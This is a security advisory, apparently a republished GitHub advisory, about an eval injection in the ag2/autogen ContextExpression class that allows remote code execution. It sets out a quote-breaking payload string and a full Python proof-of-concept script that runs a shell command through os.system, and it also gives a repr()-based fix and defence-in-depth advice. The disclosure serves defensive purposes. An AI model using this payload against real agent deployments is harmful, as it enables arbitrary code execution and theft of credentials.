# GHSA-35W5-FV47-8956: Unsafe eval on attacker-controlled ContextVariables via ContextExpression enables RCE

- Database: GitHub
- Severity: CVSS 8.8 (High)
- Published: 2026-09-23
- Modified: 2026-09-23

## Affected versions

- ag2 (PyPI): from 0.9.0, fixed in 0.13.2
- autogen (PyPI): from 0.9.0, fixed in 0.13.2

## Description

### Summary
An eval injection vulnerability in ag2's ContextExpression allows an attacker who can influence any ContextVariable value to execute arbitrary Python code in the ag2 process.

### Details


**The substitution is performed by a raw f-string with no escaping:**

```python
# context_expression.py:213 (ag2 v0.12.0)
elif isinstance(var_value, str):
    formatted_value = f"'{var_value}'"     # ← no repr(), no escaping
```

A single-quote character (`'`) in `var_value` closes the surrounding quote,
breaking the attacker-controlled content out of the string literal context
and into live Python expression syntax. The AST whitelist was validated
against the original template — **not** against the post-substitution
expression — so the injection bypasses the safety check entirely.

**Attack scenario**:

1. An attacker with access to any swarm context variable (via API,
   database row, JSON-file persistence, or tool output) stores the
   following string as the value of variable `x`:

   ```
   ' or __import__('os').system('COMMAND') or '
   ```

2. Any later call to `expr.evaluate(cv)` where `expr = ContextExpression('${x} == "ok"')` substitutes the variable:

   ```python
   eval_expr = "'' or __import__('os').system('COMMAND') or '' == \"ok\""
   ```

3. `eval(eval_expr)` is called. Since `''` is falsy, `or` evaluates
   `__import__('os').system('COMMAND')` — **arbitrary code executes**
   in the ag2 process. The expression returns `False`, so
   `evaluate()` returns normally with no exception.

Vulnerable code path:
```
ContextVariables.get(var_name)         → returns attacker string
f"'{var_value}'"                       → single-quote escape, no encoding
eval_expr = template.replace(...)      → injects into expression
eval(eval_expr)                        → executes arbitrary Python
```


### PoC
The following script demonstrates confirmed RCE. Running it creates
`/tmp/autogen_cve_poc.txt` containing the output of `uname -a` — a
non-destructive, unambiguous confirmation that code executes in the
process context.

```python
#!/usr/bin/env python3
"""
Injection mechanics:
  Template: ${x} == "ok"
  Code:     formatted = f"'{var_value}'"          # raw wrap, no escaping
            eval_expr = template.replace("${x}", formatted)
            eval(eval_expr)
  Payload:  var_value = "' or __import__('os').system('...') or '"
  Result:   eval('' or __import__('os').system('...') or '' == "ok")
            → os.system() executes, returns 0, expression → False
"""
import os, sys, warnings
from pathlib import Path

OUT = Path("/tmp/autogen_cve_poc.txt")

# Payload breaks out of the f"'{var_value}'" wrapping without parentheses.
# '' is falsy → or short-circuits to __import__('os').system(...) → executes.
PAYLOAD_VALUE = (
    "' or __import__('os').system("
    f"'uname -a > {OUT} 2>&1') or '"
)


def main() -> int:
    try:
        from autogen.agentchat.group.context_expression import ContextExpression
        from autogen.agentchat.group.context_variables import ContextVariables
    except ImportError as e:
        print(f"[FAIL] {e}"); return 1

    if OUT.exists(): OUT.unlink()

    formatted  = f"'{PAYLOAD_VALUE}'"
    eval_expr  = '${x} == "ok"'.replace("${x}", formatted)
    print(f"[*] Substituted eval_expr:\n    {eval_expr!r}")

    cv   = ContextVariables(data={"x": PAYLOAD_VALUE})
    expr = ContextExpression('${x} == "ok"')
    result = exc = None
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        try:
            result = expr.evaluate(cv)
        except Exception as e:
            exc = e

    print(f"[*] evaluate() → result={result!r}  exception={exc!r}")

    if OUT.exists() and OUT.stat().st_size > 0:
        content = OUT.read_text().strip()
        print(f"[PASS] FULL RCE CONFIRMED — {OUT}:")
        print(f"       {content[:240]}")
        return 0

    print(f"[FAIL] {OUT} not created. exc={exc}")
    return 1


if __name__ == "__main__":
    sys.exit(main())
```

## Impact

Arbitrary Python code execution in the ag2 process whenever a 
`ContextVariable` containing attacker-controlled content is evaluated 
by a `ContextExpression`. 

In agent deployments, `ContextVariables` are routinely populated by 
untrusted sources — LLM responses, tool return values, persisted state, 
user messages, and A2A/MCP traffic — so any deployment that branches 
on context state is reachable.

A successful exploit yields full host-level code execution with the 
privileges of the ag2 process: exfiltration of LLM API keys and tool 
credentials held in memory, read/write access to the host filesystem, 
lateral movement via registered tools, and denial of service.


### Mitigation

**Immediate fix (one-line change):**

```python
# context_expression.py:213 — replace:
elif isinstance(var_value, str):
    formatted_value = f"'{var_value}'"          # vulnerable

# with:
elif isinstance(var_value, str):
    formatted_value = repr(var_value)           # safe: repr() escapes all quotes
```

`repr("' or __import__('os').system('x') or '")` produces
`"\"' or __import__('os').system('x') or '\""` — the injected content
stays inside a string literal and cannot break into expression context.

**Defence-in-depth:**

1. After variable substitution, re-parse and re-validate the full
   `eval_expr` against the same AST whitelist used at construction
   time, before calling `eval()`.
2. Consider replacing `eval()` with a purpose-built safe expression
   evaluator (e.g., `simpleeval`, or a restricted-AST walker) that
   only permits Boolean algebra over named context variables without
   any function calls.
3. For deployments that persist `ContextVariables` to disk or DB,
   sanitise variable values at write time rather than relying on
   read-time safety.

### Affected components

| File | Line | Code |
|---|---|---|
| `autogen/agentchat/group/context_expression.py` | 213 | `formatted_value = f"'{var_value}'"` |
| `autogen/agentchat/group/context_expression.py` | 224 | `return eval(eval_expr)` |

## Credits
Reported by [GitHub: @beanduan22].

## References
- Vulnerable file: `autogen/agentchat/group/context_expression.py`
- ag2 project: https://github.com/ag2ai/ag2

## References

- https://github.com/ag2ai/ag2/security/advisories/GHSA-35w5-fv47-8956

Page: https://cve.now/GHSA-35W5-FV47-8956

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
